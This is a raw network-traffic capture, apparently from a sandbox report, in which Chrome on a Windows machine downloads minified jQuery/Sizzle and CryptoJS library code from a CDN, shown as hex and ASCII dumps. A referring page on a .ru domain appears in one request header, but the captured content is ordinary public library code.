2025-01-15 12:08:17 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-01-15 12:08:17 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-01-15 12:08:17 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-01-15 12:08:17 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-01-15 12:08:17 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-01-15 12:08:17 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-01-15 12:08:17 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49780	104.17.24.14	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:17 UTC	652	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://zorx.xemitarnor.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:17 UTC	958	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:17 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 600708 Expires: Mon, 05 Jan 2026 12:08:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gL9w%2FRBTGUlM0CtEKlD3sBE%2F223H4T8VKIk24iuNziaAXe9fnJZG2ojUlNJuUUBqfCbG8FktAt3KIdpyCUoL7mFB2vhav3zm2di4JjLb5qu05So2LF%2BWXaGRuYL1Zvzn6SNKNhyG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9025c016abfcf5f7-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:17 UTC	411	IN	Data Raw: 33 39 37 37 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 3977!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.crea
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 Data Ascii: all(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b Data Ascii: eof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 Data Ascii: ar t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d Data Ascii: or(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 Data Ascii: ,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fu
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 Data Ascii: arAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQ
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 Data Ascii: .sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this
2025-01-15 12:08:17 UTC	1369	IN	Data Raw: 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b Data Ascii: ,m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49779	104.18.95.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
